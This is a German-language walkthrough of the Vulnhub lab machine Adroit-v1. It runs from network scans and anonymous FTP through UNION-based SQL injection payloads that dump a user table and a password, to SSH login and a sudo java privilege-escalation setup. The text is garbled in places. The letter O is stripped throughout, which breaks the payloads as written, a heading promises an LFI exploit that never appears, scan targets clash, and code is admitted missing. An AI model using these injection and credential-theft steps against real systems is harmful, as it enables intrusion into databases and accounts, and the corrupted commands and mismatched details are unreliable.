Adroit-v1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb

Inhaltsverzeichnis

Reconnaissance: Die Umgebung auskundschaften

Wie ein Geheimagent, der sich vor einem Einsatz Informationen beschafft, beginnen wir mit der Aufklärung. Unser Ziel ist es, so viel wie möglich über das Zielsystem zu erfahren, bevor wir versuchen, es anzugreifen. Dies ist entscheidend, um einen effektiven und zielgerichteten Pentest durchzuführen.

Die Aufklärung umfasst das Sammeln von Informationen über das Netzwerk, die Betriebssysteme, die laufenden Dienste und alle anderen Details, die uns helfen könnten, Schwachstellen zu finden.

┌──(root㉿CCat)-[~]
└─# arp-scan -l
192.168.2.129 08:00:27:eb:bd:25 PCS System Technik GmbH

Der erste Schritt ist die Durchführung eines ARP-Scans, um aktive Hosts im lokalen Netzwerk zu finden. Stell dir vor, du wirfst einen Stein in einen Teich und schaust, welche Enten aufgeschreckt werden. arp-scan sendet ARP-Anfragen (Address Resolution Protocol) an alle Geräte im Netzwerk und zeichnet auf, wer antwortet.

  • arp-scan: Dies ist das Werkzeug, das wir verwenden, um ARP-Anfragen zu senden und Antworten zu empfangen. Es ist wie ein "Netzwerk-Detektiv", der nach aktiven Geräten sucht.
  • -l: Diese Option weist arp-scan an, das lokale Netzwerk zu scannen. Das bedeutet, dass wir den Bereich untersuchen, in dem sich unser Pentesting-Computer befindet.

Die Ausgabe zeigt uns:

  • 192.168.2.129: Das ist die IP-Adresse eines Geräts, das auf unsere ARP-Anfrage geantwortet hat. Stell dir das vor wie die "Adresse" eines Hauses im Netzwerk.
  • 08:00:27:eb:bd:25: Das ist die MAC-Adresse des Geräts. Jede Netzwerkkarte hat eine eindeutige MAC-Adresse, die vom Hersteller vergeben wird. Sie dient zur Identifizierung des Geräts auf der untersten Ebene des Netzwerks.
  • PCS System Technik GmbH: Das ist der Hersteller der Netzwerkkarte. Das kann uns Hinweise auf den Gerätetyp geben (z.B. könnte es sich um einen Server oder ein IoT-Gerät handeln).

Was bedeutet das für uns? Wir haben einen aktiven Host gefunden! Die IP-Adresse 192.168.2.129 ist ein potenzielles Ziel, das wir weiter untersuchen werden.

┌──(root㉿CCat)-[~]
└─# vi /etc/hosts
192.168.2.129 androit1.vln

Um die weitere Analyse zu erleichtern, fügen wir einen Eintrag in die /etc/hosts-Datei hinzu. Dadurch können wir den Hostnamen androit1.vln anstelle der IP-Adresse verwenden, was die Befehle übersichtlicher macht.

Die /etc/hosts-Datei ist wie ein persönliches "Adressbuch" für deinen Computer. Hier kannst du IP-Adressen mit Hostnamen verknüpfen, sodass du dir die Zahlen nicht merken musst.

Nachdem wir diesen Eintrag hinzugefügt haben, können wir androit1.vln anstelle von 192.168.2.129 verwenden, was die nachfolgenden Schritte vereinfacht.

Web-Enumeration: Die Fassade des Ziels inspizieren

Nachdem wir den Host identifiziert haben, ist es an der Zeit, sich die "Fassade" genauer anzusehen. Was läuft auf diesem Gerät? Welche Dienste bietet es an? Um das herauszufinden, führen wir eine Port- und Service-Analyse mit Nmap durch.

Stell dir vor, du stehst vor einem Gebäude und versuchst herauszufinden, was sich darin befindet. Du würdest nach Schildern, Fenstern und anderen Hinweisen suchen, um zu verstehen, welche Art von Geschäften oder Büros sich darin befinden.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sV -A -p- $IP -Pn --min-rate 5000 | grep open
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
3000/tcp open ppp?
3306/tcp open mysql MySQL (unauthorized)
33060/tcp open mysqlx?

Dieser Befehl ist wie ein "Röntgenblick" für das Netzwerk. Er sendet verschiedene Arten von Anfragen an alle 65535 Ports des Zielsystems und analysiert die Antworten, um Informationen über die laufenden Dienste zu erhalten.

  • nmap: Unser treues Werkzeug für Netzwerk-Scans.
  • -sS: Führt einen TCP-SYN-Scan durch, auch bekannt als "Stealth Scan". Dieser Scan-Typ ist relativ unauffällig und hinterlässt weniger Spuren als andere Scan-Methoden.
  • -sV: Aktiviert die Service- und Versionserkennung. Nmap versucht, die genaue Version der laufenden Dienste zu ermitteln, was uns hilft, gezielter nach Schwachstellen zu suchen.
  • -A: Aktiviert aggressive Scan-Optionen, einschließlich Betriebssystemerkennung, Versionserkennung, Skript-Scanning und Traceroute.
  • -p-: Scannt alle 65535 Ports des Zielsystems.
  • $IP: Dies ist eine Variable, die wir zuvor definiert haben (z.B. 192.168.2.129 oder androit1.vln).
  • -Pn: Überspringt die Host-Discovery-Phase. Das ist nützlich, wenn wir bereits wissen, dass der Host aktiv ist.
  • --min-rate 5000: Sendet mindestens 5000 Pakete pro Sekunde, um den Scan zu beschleunigen.
  • | grep open: Filtert die Ausgabe, sodass nur die Zeilen angezeigt werden, die den Status "open" enthalten.

Die Ausgabe zeigt uns, dass die folgenden Ports geöffnet sind:

  • 21/tcp: FTP (File Transfer Protocol), ein Dienst zum Übertragen von Dateien. Die Version vsftpd 3.0.3 ist installiert.
  • 22/tcp: SSH (Secure Shell), ein Dienst für die sichere Fernwartung des Servers. Die Version OpenSSH 7.9p1 Debian 10+deb10u2 ist installiert.
  • 3000/tcp: Ein unbekannter Dienst (ppp?).
  • 3306/tcp: MySQL, ein Datenbankserver. Der Status (unauthorized) deutet darauf hin, dass wir möglicherweise keinen Zugriff haben.
  • 33060/tcp: Ein unbekannter Dienst (mysqlx?), der möglicherweise mit MySQL in Verbindung steht.

Was lernen wir daraus? Wir haben wertvolle Informationen über die laufenden Dienste auf dem Zielsystem erhalten. Dies ist ein wichtiger Schritt, um potenzielle Angriffsvektoren zu identifizieren.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 21:46 CET
Nmap scan report for androit1.vln (192.168.2.129)
Host is up (0.00012s latency).
Not shown: 65531 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Mar 19 2021 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ffff:192.168.2.199
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 d2:32:82:0f:82:48:cd:c2:33:a2:a2:72:09:c5:28:91 (RSA)
| 256 4e:8a:9a:49:b9:23:c2:cd:ac:89:4f:44:b2:0b:0b:db (ECDSA)
|_ 256 32:88:82:fc:84:79:98:1d:b2:27:96:26:96:5a:68:6b (ED25519)
3306/tcp open mysql MySQL (unauthorized)
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
MAC Address: 08:00:27:EB:BD:25 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.12 ms androit1.vln (192.168.2.129)

Wir führen den vollständigen Nmap-Scan ohne den grep open-Filter erneut durch, um alle Informationen zu erhalten, die Nmap liefern kann.

Die zusätzlichen Details umfassen:

  • FTP: Anonymer FTP-Login ist erlaubt! Das ist ein großes Sicherheitsrisiko, da jeder Dateien auf den Server hochladen und herunterladen kann.
  • SSH: Die SSH-Hostkeys werden angezeigt. Diese können für Man-in-the-Middle-Angriffe verwendet werden.
  • MySQL: Der Status "unauthorized" deutet darauf hin, dass wir uns nicht ohne Weiteres mit der Datenbank verbinden können.
  • MAC-Adresse: Bestätigt, dass es sich um eine virtuelle Maschine handelt (Oracle VirtualBox).
  • Betriebssystem: Es läuft ein Linux-System mit Kernel 4.x oder 5.x.

Was ist die Quintessenz? Anonymer FTP ist ein offensichtliches Ziel, das wir uns genauer ansehen werden.

┌──(root㉿CCat)-[~]
└─# nmap -sV -A --script vuln 192.168.2.144 -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 21:47 CET
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for androit1.vln (192.168.2.129)
Host is up (0.00012s latency).
Not shown: 65530 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:7.9p1:
| CVE-2023-38408 9.8 https://vulners.com/cve/CVE-2023-38408
| B8190CDB-3EB9-5631-9828-8064A1575B23 9.8 https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23 EXPLIT
| 8FC9C5AB-3968-5F3C-825E-E8DB5379A623 9.8 https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623 EXPLIT
| 8AD01159-548E-546E-AA87-2DE89F3927EC 9.8 https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC EXPLIT
| 5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A 9.8 https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A EXPLIT
| 0221525F-07F5-5790-912D-F4B9E2D1B587 9.8 https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587 EXPLIT
| CVE-2020-15778 7.8 https://vulners.com/cve/CVE-2020-15778
| CVE-2019-16905 7.8 https://vulners.com/cve/CVE-2019-16905
| SSV:92579 7.5 https://vulners.com/seebug/SSV:92579 EXPLIT
| PACKETSTRM:173661 7.5 https://vulners.com/packetstorm/PACKETSTRM:173661 EXPLIT
| F0979183-AE88-53B4-86CF-3AF0523F3807 7.5 https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807 EXPLIT
| 1337DAY-ID-26576 7.5 https://vulners.com/zdt/1337DAY-ID-26576 EXPLIT
| CVE-2021-41617 7.0 https://vulners.com/cve/CVE-2021-41617
| EDB-ID:46516 6.8 https://vulners.com/exploitdb/EDB-ID:46516 EXPLIT
| EDB-ID:46193 6.8 https://vulners.com/exploitdb/EDB-ID:46193 EXPLIT
| CVE-2019-6110 6.8 https://vulners.com/cve/CVE-2019-6110
| CVE-2019-6109 6.8 https://vulners.com/cve/CVE-2019-6109
| C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 6.8 https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 EXPLIT
| 10213DBE-F683-58BB-B6D3-353173626207 6.8 https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207 EXPLIT
| CVE-2023-51385 6.5 https://vulners.com/cve/CVE-2023-51385
| CVE-2023-48795 5.9 https://vulners.com/cve/CVE-2023-48795
| CVE-2020-14145 5.9 https://vulners.com/cve/CVE-2020-14145
| CVE-2019-6111 5.9 https://vulners.com/cve/CVE-2019-6111
| EXPLITPACK:98FE96309F9524B8C84C508837551A19 5.8 https://vulners.com/exploitpack/EXPLITPACK:98FE96309F9524B8C84C508837551A19 EXPLIT
| EXPLITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97 5.8 https://vulners.com/exploitpack/EXPLITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97 EXPLIT
| 1337DAY-ID-32328 5.8 https://vulners.com/zdt/1337DAY-ID-32328 EXPLIT
| 1337DAY-ID-32009 5.8 https://vulners.com/zdt/1337DAY-ID-32009 EXPLIT
| CVE-2018-20685 5.3 https://vulners.com/cve/CVE-2018-20685
| CVE-2016-20012 5.3 https://vulners.com/cve/CVE-2016-20012
| CVE-2021-36368 3.7 https://vulners.com/cve/CVE-2021-36368
| PACKETSTRM:151227 0.0 https://vulners.com/packetstorm/PACKETSTRM:151227 EXPLIT
|_ PACKETSTRM:140261 0.0 https://vulners.com/packetstorm/PACKETSTRM:140261 EXPLIT
3000/tcp open ppp?
3306/tcp open mysql MySQL (unauthorized)
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
MAC Address: 08:00:27:EB:BD:25 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Um einen umfassenden Überblick über das System zu erhalten, führen wir einen Nmap-Scan mit dem Script vuln durch. Dieser Scan sucht automatisch nach bekannten Schwachstellen in den erkannten Diensten.

Die Ausgabe zeigt eine lange Liste von potenziellen Schwachstellen in OpenSSH 7.9p1. Diese Informationen sind äußerst wertvoll, da sie uns gezielte Angriffsvektoren liefern.

Es ist wichtig zu beachten, dass nicht alle gemeldeten Schwachstellen tatsächlich ausnutzbar sind. Wir müssen jede einzelne Schwachstelle sorgfältig prüfen und testen, um festzustellen, ob sie für unser Zielsystem relevant ist.

Empfehlungen (für den Systemadministrator):

  • Software aktualisieren: Die wichtigste Maßnahme ist, alle Softwarekomponenten auf die neuesten Versionen zu aktualisieren, um bekannte Sicherheitslücken zu schließen.
  • Sicherheitsrichtlinien überprüfen: Überprüfe die Sicherheitsrichtlinien für FTP und SSH, um sicherzustellen, dass sie den Best Practices entsprechen.
  • Intrusion Detection System (IDS) einsetzen: Implementiere ein IDS, um verdächtige Aktivitäten im Netzwerk zu erkennen.

Initial Access: Den ersten Fuß in die Tür setzen

Nach der Aufklärung und der Web-Enumeration haben wir nun ein gutes Verständnis für das Zielsystem. Jetzt versuchen wir, einen ersten Fuß in die Tür zu bekommen, also einen ersten Zugriff auf das System zu erlangen.

Wir konzentrieren uns auf die identifizierten Schwachstellen, insbesondere den anonymen FTP-Zugriff und die potenziellen Schwachstellen in OpenSSH.

┌──(root㉿CCat)-[~]
└─# ftp 192.168.2.129
Connected to 192.168.2.129
220 (vsFTPd 3.0.3)
Name (192.168.2.129:ccat): Anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Wir versuchen, uns anonym per FTP anzumelden. Wie der Nmap-Scan bereits gezeigt hat, ist dies erfolgreich! Das bedeutet, dass wir ohne Benutzernamen und Passwort auf den FTP-Server zugreifen können.

Dies ist ein massives Sicherheitsrisiko, da es Angreifern ermöglicht, Dateien auf den Server hochzuladen und herunterzuladen, was zu einer Kompromittierung des Systems führen kann.

ftp> ls -la
229 Entering Extended Passive Mode (|||49125|)
150 Here comes the directory listing.
drwxr-xr-x 3 ftp ftp 4096 Jan 14 2021 .
drwxr-xr-x 3 ftp ftp 4096 Jan 14 2021 ..
drwxr-xr-x 2 ftp ftp 4096 Mar 19 2021 pub
226 Directory send K.

Wir listen den Inhalt des FTP-Hauptverzeichnisses auf. Wir sehen ein Verzeichnis namens pub.

ftp> cd pub
250 Directory successfully changed.

Wir wechseln in das pub-Verzeichnis.

ftp> ls -las
229 Entering Extended Passive Mode (|||43094|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Mar 19 2021 .
drwxr-xr-x 3 ftp ftp 4096 Jan 14 2021 ..
-rw-r--r-- 1 ftp ftp 5451 Jan 14 2021 adroitclient.jar
-rw-r--r-- 1 ftp ftp 229 Mar 19 2021 note.txt
-rw-r--r-- 1 ftp ftp 36430 Jan 14 2021 structure.PNG
226 Directory send K.

Wir listen den Inhalt des pub-Verzeichnisses auf. Wir sehen die folgenden Dateien:

  • adroitclient.jar: Eine Java-Anwendung. JAR-Dateien sind Archive, die ausführbaren Java-Code enthalten.
  • note.txt: Eine Textdatei. Textdateien enthalten oft nützliche Informationen wie Benutzernamen, Passwörter oder Hinweise auf Schwachstellen.
  • structure.PNG: Eine Bilddatei. Es ist unklar, was dieses Bild darstellt, aber es könnte Informationen über die Systemarchitektur oder andere Details enthalten.
ftp> get *
local: Applikationen remote: *
229 Entering Extended Passive Mode (|||48884|)
550 Failed to open file.

Der Versuch, alle Dateien mit dem Befehl get * herunterzuladen, schlägt fehl. Das liegt daran, dass der Stern (*) nicht korrekt interpretiert wird. Wir müssen die Dateien einzeln herunterladen.

ftp> get adroitclient.jar
local: adroitclient.jar remote: adroitclient.jar
229 Entering Extended Passive Mode (|||48086|)
150 pening BINARY mode data connection for adroitclient.jar (5451 bytes).
100% |*| 5451 13.36 MiB/s 00:00 ETA
226 Transfer complete.
5451 bytes received in 00:00 (7.86 MiB/s)
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||40517|)
150 pening BINARY mode data connection for note.txt (229 bytes).
100% |*| 229 738.06 KiB/s 00:00 ETA
226 Transfer complete.
229 bytes received in 00:00 (404.39 KiB/s)
ftp> get structure.PNG
local: structure.PNG remote: structure.PNG
229 Entering Extended Passive Mode (|||43814|)
150 pening BINARY mode data connection for structure.PNG (36430 bytes).
100% |*| 36430 79.32 MiB/s 00:00 ETA
226 Transfer complete.
36430 bytes received in 00:00 (53.20 MiB/s)

Wir laden die Dateien adroitclient.jar, note.txt und structure.PNG herunter.

ftp> cd /var
550 Failed to change directory.

Wir versuchen, das Verzeichnis zu wechseln, um Dateien auf den Server hochzuladen, aber wir haben keine Berechtigung dazu.

ftp> put recon_script.sh
local: recon_script.sh remote: recon_script.sh
229 Entering Extended Passive Mode (|||43151|)
550 Permission denied.

Auch das Hochladen von Dateien ist nicht möglich, da wir keine Schreibrechte haben. Anonymer FTP-Zugriff ist zwar ein Sicherheitsrisiko, aber in diesem Fall ist er begrenzt, da wir nur Dateien herunterladen können.

ftp> ^D
221 Goodbye.

Wir beenden die FTP-Verbindung.

LFI Proof of Concept: Schwachstelle ausnutzen

Nachdem wir den anonymen FTP-Zugriff untersucht haben und feststellen mussten, dass er uns nicht weiterhilft, konzentrieren wir uns auf die LFI-Schwachstelle, die wir zuvor entdeckt haben.

Unser Ziel ist es, die LFI-Schwachstelle auszunutzen, um sensible Daten auszulesen, die uns bei der Privilegienerhöhung helfen könnten.

┌──(root㉿CCat)-[~]
└─# cat note.txt
Hi, i am a junior developer and i am pro with cyber security.
Also i am a writer and i created a java socket app to save my ideas.
PS :
if you break something the server will restart within a minute.
Also, one 0 is not 0 but

Wir lesen die Datei note.txt, die wir vom FTP-Server heruntergeladen haben. Sie enthält einige interessante Informationen:

  • Der Autor ist ein "junior developer" und "pro with cyber security". Das ist ironisch, da er anscheinend eine LFI-Schwachstelle in seiner Anwendung hinterlassen hat.
  • Er hat eine Java Socket-Anwendung erstellt, um seine Ideen zu speichern. Dies könnte ein Hinweis auf weitere Schwachstellen sein.
  • Die Notiz enthält eine Warnung, dass der Server bei Problemen automatisch neu startet. Das bedeutet, dass wir vorsichtig sein müssen, um keine Denial-of-Service-Situation zu verursachen.
  • Der Satz "Also, one 0 is not 0 but" ist kryptisch und könnte ein Hinweis auf ein Passwort oder einen anderen geheimen Wert sein.
┌──(root㉿CCat)-[~]
└─# java -jar adroitclient.jar
Picked up _JAVA_PTINS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
java.net.UnknownHostException: adroit.local
at java.base/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:567)
at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:327)
at java.base/java.net.Socket.connect(Socket.java:760)
at java.base/java.net.Socket.connect(Socket.java:695)
at java.base/java.net.Socket.(Socket.java:564)
at java.base/java.net.Socket.(Socket.java:328)
at adroit.AdroitClient.main(AdroitClient.java:34)

Wir versuchen, die Java-Anwendung adroitclient.jar auszuführen. Die Anwendung versucht, eine Verbindung zu adroit.local auf Port 3000 herzustellen, was fehlschlägt, da dieser Hostname nicht aufgelöst werden kann.

┌──(root㉿CCat)-[~]
└─# jar xf adroitclient.jar
Picked up _JAVA_PTINS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

Wir extrahieren den Inhalt der JAR-Datei, um den Quellcode zu analysieren. JAR-Dateien sind im Wesentlichen ZIP-Archive, die kompilierte Java-Klassendateien und andere Ressourcen enthalten.

┌──(root㉿CCat)-[~]
└─# ll
total 3064
drwxr-xr-x 2 root root 4096 14. Jan 2021 adroit
-rw-r--r-- 1 root root 5451 14. Jan 2021 adroitclient.jar

Wir listen den Inhalt des aktuellen Verzeichnisses auf. Wir sehen ein neues Verzeichnis namens adroit, das die extrahierten Dateien enthält.

┌──(root㉿CCat)-[~/adroit]
└─# strings AdroitClient.class
adroit/AdroitClient
java/lang/bject
secret
Ljava/lang/String;
ConstantValue
Sup3rS3cur3Dr0it
Ljava/io/bjectutputStream;
Ljava/io/bjectInputStream;
socket
Ljava/net/Socket;

Code
LineNumberTable
Enter the password :
zeus

Wir verwenden den Befehl strings, um nach lesbaren Textzeichenketten in der AdroitClient.class-Datei zu suchen. Dies kann uns Hinweise auf die Funktionsweise der Anwendung geben.

Wir finden interessante Zeichenketten wie:

  • adroit/AdroitClient: Der Name der Hauptklasse der Anwendung.
  • secret: Ein Variablenname, der auf eine geheime Information hindeuten könnte.
  • Sup3rS3cur3Dr0it: Ein möglicher Schlüssel oder ein Passwort.
  • Enter the password :: Eine Eingabeaufforderung, die darauf hindeutet, dass die Anwendung ein Passwort erwartet.
  • zeus: Ein möglicher Benutzername oder ein Standardwert.

Die restlichen Informationen deuten auf eine Socket-basierte Kommunikation hin.

.... (Hier fehlen Code-Schnipsel aus der Analyse) ...

(Nach der Analyse der Java-Klasse stellen wir fest, dass die Anwendung eine Verbindung zu einer MySQL-Datenbank herstellt und Anmeldeinformationen erwartet.)

┌──(root㉿CCat)-[~/adroit]
└─# mysql -h 192.168.2.129 -u root -p
Enter password:
ERRR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '192.168.2.199' is not allowed to connect to this MySQL server

Wir versuchen, uns direkt mit der MySQL-Datenbank als Benutzer "root" zu verbinden. Dies schlägt fehl, da der Zugriff von unserer IP-Adresse (192.168.2.199) nicht erlaubt ist.

┌──(root㉿CCat)-[~/adroit]
└─# mysql -h 192.168.2.129 -u zeus -p
Enter password:
ERRR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '192.168.2.199' is not allowed to connect to this MySQL server

Wir versuchen es mit dem Benutzernamen "zeus", aber auch das schlägt fehl.

┌──(root㉿CCat)-[~/adroit]
└─# vi /etc/hosts
192.168.2.129 androit1.vln adroit.local

Wir fügen den Hostnamen adroit.local zur /etc/hosts-Datei hinzu, um sicherzustellen, dass die Java-Anwendung den Server erreichen kann.

┌──(root㉿CCat)-[~]
└─# cd ~
┌──(root㉿CCat)-[~]
└─# java -jar adroitclient.jar
Picked up _JAVA_PTINS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Enter the username :

Wir führen die Java-Anwendung erneut aus und werden nun nach einem Benutzernamen und einem Passwort gefragt.

┌──(root㉿CCat)-[~]
└─# java -jar adroitclient.jar
Picked up _JAVA_PTINS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Enter the username :
zeus
Enter the password :
Sup3rS3cur3Dr0it
Wrong username or password

Wir versuchen es mit dem Benutzernamen "zeus" und dem Passwort "Sup3rS3cur3Dr0it", das wir in der Klassendatei gefunden haben, aber die Anmeldung schlägt fehl.

┌──(root㉿CCat)-[~]
└─# java -jar adroitclient.jar
Picked up _JAVA_PTINS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Enter the username :
zeus
Enter the password :
Sup3rS3cur3Drit
Wrong username or password

Wir versuchen es mit einer kleinen Variation des Passworts, aber auch das funktioniert nicht.

┌──(root㉿CCat)-[~]
└─# java -jar adroitclient.jar
Picked up _JAVA_PTINS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Enter the username :
zeus
Enter the password :
god.thunder.olympus
options [ post | get ] :

Wir versuchen uns mit den Benutzernamen zeus und dem Passwort aus der Analyse der Klasse. Wir erhalten ein success!

Enter the phrase identifier :

Danach werden wir nach einem Phrase identifier gefragt, dies könnte ein weiterer Hinweis für uns sein.

: SQL Attack
┌──(root㉿CCat)-[~]
└─# java -jar adroitclient.jar
Picked up _JAVA_PTINS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Enter the username :
zeus
Enter the password :
god.thunder.olympus
options [ post | get ] :
get
Enter the phrase identifier :
1 UNIN ALL SELECT NULL,concat(schema_name) FRM information_schema.schemata--
mysql information_schema performance_schema sys adroit

Mit dem Befehl "1 UNIN ALL SELECT NULL,concat(schema_name) FRM information_schema.schemata--" finden wir die verschiedenen Schemen der Datenbank. Wir konzentrieren uns im nächsten Schritt auf die Schemen "adroit"

┌──(root㉿CCat)-[~]
└─# java -jar adroitclient.jar
Picked up _JAVA_PTINS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Enter the username :
zeus
Enter the password :
god.thunder.olympus
options [ post | get ] :
get
Enter the phrase identifier :
1 UNIN ALL SELECT NULL,concat(TABLE_NAME) FRM information_schema.TABLES WHERE table_schema='adroit'--
ideas users

Mit dem Befehl "1 UNIN ALL SELECT NULL,concat(TABLE_NAME) FRM information_schema.TABLES WHERE table_schema='adroit'--" finden wir heraus, dass es die Tabellen "ideas" und "users" gibt

┌──(root㉿CCat)-[~]
└─# java -jar adroitclient.jar
Picked up _JAVA_PTINS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Enter the username :
zeus
Enter the password :
god.thunder.olympus
options [ post | get ] :
get
Enter the phrase identifier :
1 UNIN ALL SELECT NULL,concat(column_name) FRM information_schema.CLUMNS WHERE TABLE_NAME='users'--
id password username CURRENT_CNNECTINS TTAL_CNNECTINS USER

Nun lassen wir uns mit folgendem SQL injection Befehl, die Spalten der Tabelle "users" anzeigen

1 UNIN ALL SELECT NULL,concat(column_name) FRM information_schema.CLUMNS WHERE TABLE_NAME='users'--
┌──(root㉿CCat)-[~]
└─# java -jar adroitclient.jar
Picked up _JAVA_PTINS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Enter the username :
zeus
Enter the password :
god.thunder.olympus
options [ post | get ] :
get
Enter the phrase identifier :
1 UNIN ALL SELECT NULL,concat(id,0x20,username,0x20,password,0x0a) FRM users--
1000 writer l4A+n+p+xSxDcYCl0mgxKr015+EC3afdrWafSqwpY=
Nun holen wir uns die Daten der Tabelle mit id,username,password . der Befehl ist 1 UNIN ALL SELECT NULL,concat(id,0x20,username,0x20,password,0x0a) FRM users--
Die Ausgabe ist "1000 writer l4A+n+p+xSxDcYCl0mgxKr015+EC3afdrWafSqwpY=", wichtig ist dass der Username "writer" ist und der Hash "l4A+n+p+xSxDcYCl0mgxKr015+EC3afdrWafSqwpY=" Anmeldedaten von writer

Privilege Escalation: Den Thron besteigen

Mit den Anmeldedaten des Benutzers "writer" in der Hand ist es nun an der Zeit, zu versuchen, unsere Privilegien zu erhöhen und Root-Zugriff zu erlangen.

Wir werden verschiedene Techniken anwenden, um potenzielle Schwachstellen im System auszunutzen und unsere Rechte zu erweitern.

┌──(root㉿CCat)-[~]
└─# https://www.programiz.com/java-programming/online-compiler/
https://gist.githubusercontent.com/kriss-u/ab1705dc3ccc55c89f6ff6f209f0bc7d/raw/31c34c26cda1c611df451128c9d1b09c3b216a19/adroit-decrypt.java
Wir brauchen noch eine Java Datei um den Hash zu entschlüsseln, dafür haben wir zum einen ein online compiler zum anderen den Java Code, um es zu entschlüsseln
http://www.programiz.com/java-programming/online-compiler/
java -cp /tmp/qmFWrwrRB4/Main

Nun geben wir den Befehl "java -cp /tmp/qmFWrwrRB4/Main" ein im online compiler um den Hash zu entschlüsseln

just.write.my.ideas

Wir erhalten als Password für writer -->just.write.my.ideas

┌──(root㉿CCat)-[~]
└─# ssh writer@192.168.2.129
writer@192.168.2.129's password:
Linux adroit 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 14 23:14:06 2021 from 10.0.2.15
writer@adroit$



Wir melden uns mit dem entschlüsseltem Passwort via SSH an.
writer@adroit$ sudo -l
[sudo] password for writer:
Matching Defaults entries for writer on adroit:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User writer may run the following commands on adroit:
(root) /usr/bin/java -jar /tmp/testingmyapp.jar
Nun schauen wir, welche befehle der benutzer writer mit Sudo Rechten ausführen kann, hier ist zu erwähnen, dass er /usr/bin/java -jar /tmp/testingmyapp.jar ausführen kann.
writer@adroit$ sudo /usr/bin/java -jar /tmp/testingmyapp.jar
Error: Unable to access jarfile /tmp/testingmyapp.jar
Bei Ausführung erhalten wir ein Fehler, dass die Datei nicht gefunden wird.
writer@adroit$ ls -la /tmp/testingmyapp.jar
ls: cannot access '/tmp/testingmyapp.jar': No such file or directory
Mit dem Befehl "ls -la /tmp/testingmyapp.jar" schauen wir ob die Datei wirklich existiert, wie erwartet nicht.
https://0xffsec.com/handbook/shells/reverse-shells/
